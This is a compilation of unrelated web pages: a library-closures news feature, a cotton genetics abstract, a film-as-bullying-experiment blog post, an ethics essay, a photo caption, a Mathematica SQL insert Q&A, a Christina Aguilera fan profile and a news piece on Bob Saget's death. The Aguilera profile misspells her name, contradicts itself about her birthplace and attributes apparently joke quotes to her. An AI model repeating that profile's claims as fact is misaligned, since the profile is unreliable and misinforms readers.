Related Vulnerabilities
Category:Input Validation Vulnerability
Related Countermeasures
Category:Input Validation
HTML Entity Encoding
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North East libraries - what's the next chapter?
By Barbara Hodgson
We look at how our local institutions are branching out in new ways to help safeguard their future
Five year old Christopher Blanks makes his reading selection at Low Fell library at Gateshead in January 1972
News that the North East is suffering the biggest loss of libraries in the UK makes depressing reading.
Those currently embroiled in the fight to save their local branch in the wake of council cuts sweeping the region need no telling but the latest annual library survey still hits home.
Issued by the Chartered Institute of Public Finance and Accountancy (CIPFA). the figures reveal that the region saw a year-on-year decrease of 5.9% in its number of libraries, with 12 fewer open in 2013-14 than in the previous year, the largest percentage reduction than any other region in the UK. The North East also saw the largest drop in library visitors, with a 5.5% reduction in users.
Some good news came in the success of Newcastle City Library - the most popular in the region with 814,359 visits a year - which was picked out as the fourth most visited in the UK.
Another positive of sorts has come in the reaction to proposed library closures in Newcastle in recent years, which has made a sorry situation some way better.
While the situation over in Gateshead has yet to play out, of the 10 proposed closures in Newcastle in 2013, just one - Moorside - has taken place, the others under threat being rescued by a rallying together of local communities, businesses and council staff. There may have been moves involved, service changes and reduced hours but they are open nonetheless and inspire some hope for the future.
A success on an altogether different scale to Newcastle City Library's has been the saving of Jesmond Library by a small but very determined bunch of local residents.
A victim of the city council's three-year budget strategy, the branch closed in June 2013 but the local community proved what a bit of spirited fight and goodwill could achieve: it re-opened less than three months later.
The Friends of Jesmond Library were behind efforts to secure £10,000 to re-open it three days week, with 70 founding members pledging £100 and up to 100 locals keen to fund-raise or help staff it.
A year on, the library is firmly back in the business of book-lending with a nice, and essential, sideline of events such as talks, drop-in sessions for the elderly, and events to broaden its appeal.
Tony Durcan, Newcastle City Council's assistant director of customers, culture and skills, and libraries manager David Fay, are as pleased as anyone at the results of the re-think following the outcry over the initial plans.
Tony Durcan at Newcastle Central Library
"In Newcastle we agreed we needed a core network of eight libraries," said Mr Durcan. "These were the City Library; five large community-based libraries: Gosforth, Shieldfield, Kenton, West Denton and Benwell; one at Newburn because of its location and difficulty for residents in reaching the next nearest; and Walker, an area considered in need.
"That should have meant 10 closed, including three in April this year, but only one has closed."
The answer has been found through making them community-run, as in the case of Jesmond, or partnership-funded.
The first instance involves the council transferring the building, rent-free if council-owned, and handing over its stock of books and computers to be run entirely by volunteers, unconnected to the core library network and without financial support; and the latter finding a partner to meet most if not all of a library's costs but retaining a council member of staff and connection to the library network.
In Dinnington, for instance, the parish council has taken on the service, transferring it to the village hall. Your Homes Newcastle stepped in to save Fenham and, along with Newcastle College, will relocate and refurbish Cruddas Park. Denton Burn is currently closed but only for refurbishment before reopening in a partnership involving the college and Dyslexia North East; and High Heaton is revived by the college and a close-knit Friends group who host the likes of coffee mornings on the days the library is closed.
Mr Durcan said: "There are lots of partnerships across the country and I think some up here have been quite pioneering."
He added: "We were clear: nobody wanted closures but if we had to close those the service would still have been competitive and efficient which is what the government expects us to be.
"We didn't need them to be part of the network but we are very happy to support them."
Of the three earmarked for closure this year - Blakelaw, Newbiggin Hall, and Fawdon, which were given more time because of their community centre links - there is hope too, with discussions taking place with the local community to look at a model like Jesmond's, although Blakelaw will close at its current location.
Volunteers at Jesmond Library Volunteers at Jesmond Library. Pictured from left, Peter Breakey, John Cook and Jenny Adams
Having residents take up the reins is of course only half of the story and part of the battle. Sustaining the service, finding the finances to keep it going, may be more of a new year wish than a resolution at present.
But certainly the success at Jesmond to date has marked a new lease of life for the library and even something of a return to the good old days when libraries were a true institution and a focal point of the community.
The Friends set up a company with charitable statue which now has eight trustees intent on creating a true community hub with Finn Willingham of Highbury, Jesmond, said: "In terms of having to be totally financially independent and entirely volunteer-led it's been quite a steep learning curve: training volunteers, introducing a new management system and keeping the book stock new and appealing to our users.
"We hope to attract all members of the community so target events at different ages: for instance we have a wellbeing event on Wednesday afternoons, when the library is closed, aimed at over-50s."
They've reduced the age for volunteers to 16 so more young people are playing an active role. There is now a core group of 60-80 volunteers and are now 1,171 registered library members, not taking into account the drop-ins, and while it's free for all, some events carry charges, the library space is open for hire and as many members as possible are being asked to sign up to monthly subscriptions.
With running costs standing at around £30,000 a year, that kind of guaranteed income is vital to ensure a sustainable future, says treasurer Chris Clarke.
An Independent Library Report for England, published in December, said the library service in England is at a crossroads and reported: "There are examples of volunteer-only libraries being set up across the country though there is a tendency for these to be established in reasonably affluent areas and there are still questions over their long-term viability.
"The more disadvantaged localities often have the greater need for such a service but they don't tend to have the resources, experience or confidence to take over the running of their library."
While the report agreed that no one library model fits all situations, it recommended setting up of a task force to work with local authorities to help libraries adapt to changing environment and shape a future of increased community involvement and better digital resource.
David Fay said Newcastle is getting this bit right too. More ebooks than traditional books are being issued - of the 771,618 items borrowed last year, 19,438 were ebooks.
The independent report cited Newcastle in a case study and said: "The community library hub will be the key council building in communities, strategically placed across the city's neighbourhood and will provide a base for a range of locally relevant services."
With further austerity planned and local government taking much of the cuts to the public sector, further library closures in the North East are likely.
Mr Durcan said: "We'd very much like to have the amount of money we had before but members of staff have worked really hard in the city to maintain as good a library service as we can. "It could have been much, much worse. It's been traumatic but we're proud of what we've been able to do."
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Bidirectional interlocus concerted evolution following allopolyploid speciation in cotton (Gossypium)
J F Wendel, A Schnabel, and T Seelanan
PNAS January 3, 1995 92 (1) 280-284; https://doi.org/10.1073/pnas.92.1.280
J F Wendel
A Schnabel
T Seelanan
Polyploidy is a prominent process in plant evolution; yet few data address the question of whether homeologous sequences evolve independently subsequent to polyploidization. We report on ribosomal DNA (rDNA) evolution in five allopolyploid (AD genome) species of cotton (Gossypium) and species representing their diploid progenitors (A genome, D genome). Sequence data from the internal transcribed spacer regions (ITS1 and ITS2) and the 5.8S gene indicate that rDNA arrays are homogeneous, or nearly so, in all diploids and allopolyploids examined. Because these arrays occur at four chromosomal loci in allopolyploid cotton, two in each subgenome, repeats from different arrays must have become homogenized by interlocus concerted evolution. Southern hybridization analysis combined with copy-number estimation demonstrate that this process has gone to completion in the diploids and to completion or near-completion in all allopolyploid species and that it most likely involves the entire rDNA repeat. Phylogenetic analysis demonstrates that interlocus concerted evolution has been bidirectional in allopolyploid species--i.e., rDNA from four polyploid lineages has been homogenized to a D genome repeat type, whereas sequences from Gossypium mustelinum have concerted to an A genome repeat type. Although little is known regarding the functional significance of interlocus concerted evolution of homeologous sequences, this study demonstrates that the process occurs for tandemly repeated sequences in diploid and polyploid plants. That interlocus concerted evolution can occur bidirectionally subsequent to hybidization and polyploidization has significant implications for phylogeny reconstruction, especially when based on rDNA sequences.
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J F Wendel, A Schnabel, T Seelanan
Proceedings of the National Academy of Sciences Jan 1995, 92 (1) 280-284; DOI: 10.1073/pnas.92.1.280


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10th April, 2013 Animation, News Like
Short Film 'Between Beasts' Actually a Case Study on Internet Bullying
When I featured Jesper Eriksson's dark short Between Beasts on the site last week, I thought the film might amass a fair bit of interest surrounding its strong visuals and haunting, captivating plot, along with its reminiscent tones to popular video game Limbo. However, I certainly wasn't expecting the shadowy animation to garner a whole new level of attention when it revealed itself to actually be a case study on internet bullying.
Choosing the medium of online video because he felt it to be "probably the most appealing way of spreading information over the web", Eriksson purposefully designed Between Beasts to echo the visuals of Limbo in an attempt to provoke a community where he felt his "project would have a large chance of gaining attention". Releasing the film online with the sole purpose of it being an experiment in reaction, it eventually turned out not to be the references to Playdead's ghostly game that would direct a flurry of hate in his direction, but instead an association to Warcraft the director had inserted into his short. Intentionally designed to resemble a worgen character from the game world of warcraft, it was the werewolf character that would eventually act as a catalyst for the online intimidation to begin:
"people like this are the lowest of the low"
"Good job using a Worgen model for the Werewolf, VERY creative. [/sarcasm]"
"You sir, are full of shit. That's the same model and the same animations."
"He stole the werewolf and didn't have the skill to make the girl match it."
Just a few of the comments I was able to discover online after a quick search.
"The spreading force of the crowd became overwhelming and the creativity of people trying to destroy for me was perplexing. But the experiment had the desired effect and I'm left with statistics supporting my theory for my work."
"As my execution shows once the crowd has started pinpointing something out and gather up it's starting to get out of control. During one day I received intimidating threats in email and comments, people followed me on my social networks and started spreading harsh material. In 24 hours I had received a crowd that would do anything in their power to ruin everything in my life, from the contacts I had to the interviewees of my work. My phone kept vibrating from spam emails and my inboxes got crowded. Apparently I had a 20 page hate thread on a forum where people gathered up to trash talk about my work and me. They wished me dead and expelled from school and society; I was called the lowest scum of the earth and several more comments I'm not including here (I am not publishing images here for the respect of the participants' anonymity). This flag of hatred came from a single model in a short little video, which soon propelled into an inferno where the crowd jumped conclusions and nobody even laid notice to the short film in itself anymore. As I'm displaying in the film and the official poster by showing a Rorschach image, people will see what they want to see. When the crowd goes furious it creates self-fulfilling prophecies and soon everything is wrong with the subject. This is how bullying works, where the crowd jumps conclusions and pursues to find errors of the subject. In the case with Internet though, it grows faster and harsher than ever before in the real world." [sic]
In creating such a detailed and captivating animation for his experiment, Erikson has not only unveiled a novel and effective method for supporting a just cause, but his dedication and commitment to the project shows the lengths he is prepared to go to get results. Between Beasts had already grabbed our attention with its striking aesthetics and fable-esque plot, but now with it being the first ever short to address internet bullying by experimenting on its viewers – it's now bound to reside in our memory for a long time to come.
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A Critique of Loving the Chambered Nautilus to Death, an Article by William Board
Categories: Ecology
Article, Pages 7 (1507 words)
One of the main issues when addressing environmental ethics is who/what gets moral considerability. In the article "Loving the Chambered Nautilus to Death" by William Broad, Board discusses the potential endangerment of nautilus. Nautilus shells are used for jewelry and ornaments with prices that reach prices past five hundred dollars. The species are caught under unregulated fishing guidelines, which is detrimental to the species due to their slow sexual maturity. Although the species is facing the same depletion in population as other species, like whales, rhinoceros, or polar bears, there is no action is being taken to set up restrictions to regulate or inhibit the catching of nautilus until their population stabilizes.
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The nautiluses differ from the rhinoceros in the fact that rhinoceros horns are contraband and nautiluses are not. This species is being exploited, but it continues to occur because of the demand for the jewelry. Do humans have the right to kill this species off for personal gain?
In order to answer this question you can look to the classification system of environmentalist: strong/weak anthropocentrism and biocentrism.
Strong anthropocentrism revolves around the ideology that anything that is non-human has no value until given value from a human. Weak anthropocentrism is the belief that there is a relationship between humans and nature that establishes varied values for parts of nature. For example, the esthetic of nature is what guides these types of environmentalist to conserve nature. Biocentrism is the ideology that is concerned with the preservation of nature and the species within the biosphere.
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They also establish the idea that yes, humans need to do things to survive and flourish, but the resources they use and damage they cause to the Earth and to other things that live on the planet should be limited and return to days where our impact on the Earth does not outweigh the Earth's impact on us. Also, they establish the idea that things in nature have intrinsic value apart from humans. Humans and other species are essential inhabitors of the Earth and are equal in that sense. In strong anthropocentrism, no animal deserves moral concedrability without having any economic values to humans. Weak anthropocentrist give moral consideralbilty to certain parts of nature that are appealing to humans. Biocetrets believe that all animals deserve moral considerability.
In the case of the nautiluses, strong and weak anthropocentrism would have no issue with the continuation of the catching of this species because of the economic value they bring to humans. However, conservation would come into consideration by weak anthropocentrist if the population of the nauclius could no longer provide their value. On the other hand you would have bio centrist that would want to stop the catching of these animals not only because the population is moving towards endangerment, but because humans have no right to impact the ecosystem if it is unethical.
Environmental ethics forces humans to remove themselves from the center of the earth and realize that the biosphere is an interconnected unit that needs all of its species and ecosystems to properly function. The key to environmental ethics is the idea of moral considerability and who is deserving of this quality. Three environmentalists, Peter Singer, Paul Taylor, and Holmes Rolston III, explain the dynamics of moral considerability using characteristics that should guide our relationship to nature. Singer says that in order for a being to be morally considerable they have to possess sentience, He categorizes humans and animals that have sentience as beings deserving of moral considerability based on the idea that they can suffer or feel pain. Singer establishes a moral universe where only sentience being are included and he creates the moral principle that these beings have equal consideration and take into account their suffering when humans act. He also says we have a moral obligation to cease practices that cause suffering to sentient beings. However, he excludes things like plants, water, and soil because he believes we do not own anything to something that cannot feel. If we were to look at how singer would address the issue of the nautilus, he would most likely believe that the endangerment of this species is a concern, but humans have no obligation to save this species. In Singer's eyes, the nautilus are not sentient being, therefore; they do not receive moral considerability because they do not have the capacity to feel pain and on those bounds they do not get considered. Singer does not believe that humans should purposefully go out and destroy non-sentient beings, but if they are lost tit is not breaking a moral principle. The nautilus being used for human pleasure is not in violation of Singers code for those that deserve moral considerability.
Taylor also creates a moral universe where his concern is for beings that have the characteristics of living and living in their wild habitat and these characteristics are the criteria for moral considerability. He establishes a duty to individual wild animals and plants in their native habitats and believes that we have the obligation to make sure that the good of these organisms are met. The goods that must be met is the ability for the organism to be strong and healthy. Taylor believes that these wild animals and plants have intrinsic value and with this value they have inherent worth and, therefore; these organisms should be morally considered. Humans have a moral obligation to these wild plants and animals living in their wild habitats. According to Taylor, if humans have the moral obligation to these animals with inherent worth, then we should abide by the moral principle to, as stated before, "protect or promote the good of the animals, respect the integrity of the natural ecosystems, to preserve endangered species, and to avoid environmental pollution" (Taylor, 72). Taking Taylor's idea of who deserves moral considerability, we can determine that he would disagree with how humans are treating the nautilus. These nautiluses are wild organisms that live in tier wild habitat and, therefore; by that characteristic humans are morally obligated to again protect and promote their good by actions such as keeping the ocean from being polluted and maintained, so these animals can thrive. Taylor would justify the restriction on catching the animals based on the grounds that they are living creatures and that they have intrinsic worth and we has humans have no right to lead these animals into endangerment and ultimately extinction because of the economics worth humans see in these organisms.
Lastly we have Rolston, who believes that anything that is alive deserves moral considerability. In his moral universe, humans have the duty to individual organisms and species. If something posses the characteristic of being alive, then that being has inherent value. Based on these grounds Rolston makes it clear that if something is living it ought to be alive. The moral principle that Rolson establishes says that humans have to be responsible for their actions and how those actions affect the biosphere. Therefore, humans have the moral obligation to protect individual animals and to protect species as a whole. He also believes that humans should not disrupt the flourishing of a species or their full development of biological powers. If Rolston had a say in the case of the nautiluses, he would be horrified and completely against the treatment of nautiluses by humans. Nautiluses have the characteristic of being alive. Nautiluses are alive and, therefore; have intrinsic value. Nautiluses have intrinsic value and, therefore; they deserve moral considerability and humans have the obligation to be responsible and not use these organisms for personal gain. Humans are endangering the species of nautiluses and will soon drive them into extinction. To Rolston the worst act humans can do is eradicating a species because there is no way to bring this species back. So if humans are to follow Rolston's definition of environmental ethics then they must treat nautiluses like humans.
Singer, Taylor, and Rolston all aim to change who/what deserve moral considerability. Singer believes only sentient beings deserve moral considerabilty. Taylor believes wild animals and plants deserve moral considerability and Rolston believes that all living things deserve moral considerability. In the case of the nautiluses, Singer would not regard them with moral considerability because there is no evidence of nautiluses as sentient being. However, Taylor and Rolston would give these animals moral considerability because they posses the characteristic of either being wild and living in a wild habitat or simply living. Taylor and Rolston would criticize Singer on the grounds that even if these animals could not feel pain, they still have inherent worth. Singer would just argue that if it cannot suffer what harm could possibly be done to the nautiluses. However they all agree that humans do not always come first when it comes to the issue of ethics. They all try to embed the ideology that humans must work collectively with non humans for the biosphere to function properly.
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Mono Lake, AUG 2014 Awards: Special Recognition, Light, Space and Time Online Gallery Landscape Competition, April 2015 Traveling along the west side of the Mono Lake, on Highway 395, you pass Picnic Grounds Road. This road takes you to a parking lot which is the trailhead for the Mono Lake Trail – a trail that takes you to the Visitor Center atop the hill. As you look across the lake, you can see some Tufa. But at lakeside, you see mounds of rock that look much like tufa. These rocks that dot the shoreline are actually pumice boulders. They were set aloft by the nearby volcanoes and found a spot in the lake. Pumice is volcanic rock mixed with a lot of air. In fact, so much air that pumice will float. So these boulders probably floated around for a while until they got water logged, sank and became embedded in the mud.
As summer reaches its peak, many of the grasses and wildflowers reach the peak of their color. I decided to explore the pumice fields at the Picnic Grounds Road area just to see what it may look like at sunrise. As I was exploring, I came across this patch of grass among the pumice with tufa and mountains in the background. I could see where the sun would rise. So, I set up my composition, and waited for the sunrise. I was not disappointed.


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Q: Slow work of SQLInsert with MS SQL Server in V10 This question is very similar to:
Slow work of SQLInsert with SQLite, but for MS SQL Server. Unfortunately the use of SQLBeginTransaction and SQLCommitTransaction do not improved the performance as in SQLite.
First let's create a connection function and some test data:
  myConn[] :=
  OpenSQLConnection[
     JDBC["Microsoft SQL Server(jTDS)", "myIP"]
    ,"Username" -> "User"
    ,"Password" -> "pass"
  ];

data=RandomInteger[1000,{10000,5}];
heads={"col1","col2","col3","col4","col5"}

Now, here is the slow version, using SQLInsert function.
insertSlow[tableName_String,heads_List,data_List]:=Module[{conn=myConn[],colunas,r=data},

    SQLExecute[conn,"TRUNCATE TABLE "<>tableName];
    SQLBeginTransaction[conn];
    SQLInsert[conn,tableName,heads,data];
    SQLCommitTransaction[conn];
    CloseSQLConnection[conn];
]

insertSlow[tableName,heads,data]//AbsoluteTiming

180.7140(seconds)
  Which is unbelievable slow.

Now, I create this function to accelerate the insert statement:
insertString[tableName_String,heads_List,data_List]:=Module[{insertSql,col,values},

    col=StringReplace[ToString[heads,InputForm],{"{"-> "(","}"-> ")","\""-> ""}];
    values=StringReplace[ToString[data,InputForm],{"{"-> "(","}"-> ")","\""-> "'"}];
    values=StringTake[values,{2,-2}];
    insertSql="Insert into "<>tableName<>" "<>col<>" values "<>values;
    insertSql
];
(*insertString["MY_TABLE",heads,data]*)

sqlBatchInsert[conn_,tableName_String,heads_,data_List]:=Module[{sql,len,i=0},
    sql=insertString[tableName,heads,#]&/@Partition[data,1000,1000,1,{}];
    len=Length@sql;
    (i++;Print["Block:",i,"/",len];SQLExecute[conn,#])&/@sql;
]

insertFast[tableName_String,heads_List,data_List]:=Module[{conn=myConn[]},

    SQLExecute[conn,"TRUNCATE TABLE "<>tableName];
    SQLBeginTransaction[conn];
    sqlBatchInsert[conn,tableName,heads,data]
    SQLCommitTransaction[conn];
    CloseSQLConnection[conn];
]

insertFast["MY_TABLE",heads,data]//AbsoluteTiming

Block:1/10
Block:2/10
Block:3/10
Block:4/10
Block:5/10
Block:6/10
Block:7/10
Block:8/10
Block:9/10
Block:10/10
`5.2312`(*seconds*)

Much faster, but still slow when compared to SQLite where I got 10.000 in 1.56 second in my tests. I don't like the way my batch insert function works either, to clumsy, and limited.
Question: How batch insert can be done in a more clean/direct/fast way, in MS SQL Server?
UPDATE 1
Mathematica uses jTDS driver to handler SQL Server. Here is the official jTDS page. It's not clear to me how batch works in it. In FAQ area, there is a list of parameters, I played with batchSize, but without success.
I tried to change driver from jTDS to Microsoft JDBC SQLServerDriver. The Driver worked nice, but the performance is the same.
UPDATE 2
This problem is new in V10, with the new SQL.m file. In V9 the insert statement is automatic in batch mode.

A: After some useless hours in Google trying to understand jTDS, I discovered  that DatabaseLink implementation is a open Package, and that SQLInsert implementation is in the file DatabaseLink/Kernel/SQL.m.
Inside It you can check that SQLInsert implementation is just a special application of SQLExecute. And that SQLExecute has two new parameters in V10 called "JavaBatching" and "BatchSize". When "JavaBatching" is set to False (the default is True, and isn't working), the batch operation is implemented inside Mathematica, using "BatchSize" as partition (that is 1000 by default). So, you can rewrite the a new insertSuperFast as:
insertSuperFast[tableName_String,heads_List,data_List]:=Module[{conn=myConn[],colunas,r=data},

    SQLExecute[conn,"TRUNCATE TABLE "<>tableName];
    SQLBeginTransaction[conn];
    SQLInsert[conn,tableName,heads,data,"JavaBatching"->False,"BatchSize"-> 10000];
    SQLCommitTransaction[conn];
    CloseSQLConnection[conn];

]

insertSuperFast["MY_TABLE",heads,data]//AbsoluteTiming

1.420 (Seconds!)

with no clumsy string manipulation, and same performance as SQLite.
It's also interesting to note that in this case, the use of SQLBeginTransaction and SQLCommitTransaction make an improvement in performance.
UPDATE
This slowness didn't happens in V9. The SQL.m and SQLStatementProcessor.java file has been changed in V10. Now we have better batch size control inside MMA, but the native Java batch is broke in some way.

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Name: Christina Aguilera
Birth Date: 18, December 1980
Birth Place: Staten Island, New York
Nickname: Chrissy, X-Tina, Christi
Profession: Pop Singer
Favorite Food: meat, potatoes
Favorite Sports: Hockey, Baseball
Favorite Color: Pink
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"If someone gives me the vibe that they're being difficult then I need to step up and do my thing. When a girl is strong in her opinions and voices them, or is irritated by the way things are going down it's like Oh she's a bitch. A guy can do it and he's just being aggressive. Of course sometimes you can be tired or just having a bad day." - Christina Aguilera.
Chrishtina is a songwriter and also a singer. She is popular in US. In her generation she is one most prominent recording artist. In US she has received a 4 number one singles on the Billboard Hot 100 charts and also she has got Grammy Awards.
Though her eyes are already blue she liked to wear a bright blue contact lenses. She has an ability to sing acapella.
She worked on her fourth album in August 2005 and her fifth album was also completed. Christina like to play a role in movie even she has got many offer but she is waiting for good role.
"It's been quite a roller-coaster ride, but I think I've grown and learned a lot about myself. In this business, it's often all about hype, record sales, and a crazy schedule of traveling, performances, and it can be easy to get lost in all that. But for me, the greatest thing is being able to interact with fans and touch peoples' lives. I know that's a greater accomplishment than selling records. For that I give thanks. I simply love the job I'm doing." - Chrishina Aguilera.
Chrishina is daughter of Ecuadorian and Irish. She was born on 18th December 1980 in Staten Island, New York. She attended the North Allegheny School District. Her father name is Fausto Wagner Xavier Aguilera who is U.S. Army sergeant. When she was 19 they moved to the Staten Island. Her mother is Shelly Loraine Fidler who is Spanish translator.
Her father and mother met at Earnest Harmon Air Force Base in Stephenville, Newfoundland and Labrador. When they married her mother was 20 and her father was 32. Chrishina lived with her parents up to her age of 6 before divorce of her parents. After words she lived with her grandmother.
Chrishina's grandmother notices her voice first. She has decided her goal, as she became a professional singer. Mariah Carey, Billie Holiday, Etta James, Ella Fitzgerald, Judy Garland, Janet Jackson, Madonna, Whitney Houston these are list of fan of Chrishina and she grew up with all these artists.
She is talented, when she was child, she always took part in competition and at block parties and with little effort she defeats her opponents. She was known as "little girl with big voice".
Chrishina appeared on Star Search in 1990 singing ""A Sunday Kind of Love" but she didn't got success. Later she sang "Vision of Love". "Be a strong female - don't be afraid of the flack that goes along with that." -Christina Aguilera.
In 2001 she has performed a no.1 worldwide smash hit "Nobody wants to be lonely". For MTV Video Music Awards she nominated for 6. In the same year she has received 11 nominations. For "Lady Marmalade" she has received two awards in 2001 of MTV Video Music. She was at no.1 on Maxim's Hot 100 of 2003 and in 2004 was at no.3. In 2005 Chrishina was at 27 in FHM's "100 Sexiest Women in the World 2005" special supplement.
"It's funny how society places such strict standards upon young blonde females. We're supposed to play the clean-cut view the public wants of us. But I am not your little cookie-cutter virgin." - Chrishina.
Following is the list of Christina Aguilera's film career.
2004 Saturday Night Live
2003 Stripped - Live in the UK
Fighter / Beautiful [DVD Single]
Saturday Night Live: Salma Hayek
2002 Dirrty [DVD Single]
2000 Saturday Night Live: Christopher Walken [4]
1999 Out of the Bottle Unauthorized
Genie Gets Her Wish
Christina Aguilera's - Discography
Following is list of Christina Aguilera discography:
2005 - - Car Wash Music Box Biographical Collection
Christina Aguilera Music Box Biographical Collection
2004 - - Voice Within [Import CD] Stripped Live in the U.K
2003 - - Voice Within [Canada CD]
Fighter [UK CD #2]
Fighter [Canada CD]
Can't Hold Us Down [US 12"]
Can't Hold Us Down [UK CD]
Can't Hold Us Down [Australia]
Beautiful/Fighter
Beautiful [Remixes] Fighter/Beautiful [DVD Single]
2002 Stripped
Mi Reflejo [Bonus Remixes] Complete Dirrty [Enhanced]
Dirrty [DVD Single]
Dirrty / Make Over
Dirrty
Beautiful Dirrty [DVD Single]
2001 Just Be Free Christina Aguilera [Remix Plus] Pero Me Acuerdo de Ti
Lady Marmalade [US 12"]
Lady Marmalade [Import CD]
Lady Marmalade [Holland CD]
Lady Marmalade [Australia CD]
Genie in a Bottle/Come on over Baby
Falsas Esperanzas My Reflection [Video/DVD]
Christina Aguilera - Quotes
I got along better with the guys than with the girls. Only two girls came up to talk to me. Later I found out they were telling their boyfriends, 'If you talk to her, I'll kill you.' It's always rough with that high school thing.
That was just a nickname that was given to me by my A & R guy on my first record. Like Christmas beomes Xmas, Christina becomes Xtina. It so caught on it's tatooed on the back of my neck as a nickname. What was an inside joke has become... I'm sure you've read about this...this split personality thing. It's silly.
I'm always nervous before I go on stage, but once I'm out there everything is great and it's my favorite place to be.
I'm an ocean, because I'm really deep. If you search deep enough you can find rare exotic treasures.
So, where's the Cannes Film Festival being held this year?
Pop is actually my least favorite kind of music, because it lacks real depth.
I'm not really religious but very spiritual. I give money to this company that manufactures hearing aids on a regular basis. More people should really hear me sing. I have a gift from God.
I want a bad boy in public, and a pussy cat at home!
What is it in us that makes us feel the need to keep pretending...we gotta let ourselves be.
Britney and I show a little tummy and it's like, 'Oh My God.' But N'Sync or Backstreet Boys will do repeated pelvic thrusts to an audience of pre-pubescent girls and nobody says anything!
I'm kind of an introvert and it's weird because being a performer people expect me to be the opposite. I've been too trusting before and it's really bitten me on the ass.
If someone gives me the vibe that they're being difficult then I need to step up and do my thing. When a girl is strong in her opinions and voices them, or is irritated by the way things are going down it's like Oh she's a bitch. A guy can do it and he's just being aggressive. Of course sometimes you can be tired or just having a bad day.
In my hometown Pittsburgh people don't like how I changed and cause they don't meet me they just go and insult my sister. But she is a cool girl, she can handle with that!


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Pete Davidson shares how Bob Saget helped him through 'some rough mental health stuff'
The "Saturday Night Live" star gave fans a glimpse at the type of person Saget really was.
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By Drew Weisholtz
Pete Davidson is remembering Bob Saget for his kindhearted nature and efforts to help him.
Saget died Sunday at the age of 65 and the "Saturday Night Live" star mourned his death with a moving post he shared on the social channels of "SNL" writer Dave Sirus.
"Just wanted you guys to know that Bob Saget was one of the nicest men on the planet," he began.
"When I was younger and several times throughout our friendship he helped me get through some rough mental health stuff. He stayed on the phone with my mom for hours trying to help in anyway he can — connecting us with doctors and new things we can try. He would check in on me and make sure I was okay."
Davidson said he is grateful for the former "Full House" star.
"I love you Bob it was an honor to know you," he wrote. "Thank you for your kindness and friendship. My condolences to the family."
Remembering Bob Saget, 'Full House' star who died at 65
While Davidson didn't offer specifics about what Saget told him or his mother, he has discussed his mental health before.
"I'm always depressed, all the time. I have to constantly bring myself out of it," he told Charlamagne Tha God in a YouTube interview in 2020. "I wake up depressed, but now I know my steps. I have to go outside and be in sun for a little bit, or go for a walk. It's all just programming yourself to trick your brain."
Saget was found dead Sunday in a Florida hotel room, hours after he had performed standup comedy. His surprising death sparked reactions from John Stamos, Candace Cameron Bure, Mary-Kate and Ashley Olsen, Dave Coulier and Andrea Barber.
'Full House' star Bob Saget dies at 65
Saget left behind wife Kelly Rizzo and his three daughters from his first marriage to Sherri Kramer, Aubrey, Lara and Jennifer.
"We are devastated to confirm that our beloved Bob passed away today," his family said in a statement to TODAY. "He was everything to us and we want you to know how much he loved his fans, performing live and bringing people from all walks of life together with laughter.
"Though we ask for privacy at this time, we invite you to join us in remembering the love and laughter that Bob brought to the world."
Al Roker remembers Bob Saget: 'He's just going to be so missed'
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Drew Weisholtz is a reporter for TODAY Digital, focusing on pop culture, nostalgia and trending stories. He has seen every episode of "Saved by the Bell" at least 50 times, longs to perfect the crane kick from "The Karate Kid" and performs stand-up comedy, while also cheering on the New York Yankees and New York Giants. A graduate of Rutgers University, he is the married father of two kids who believe he is ridiculous.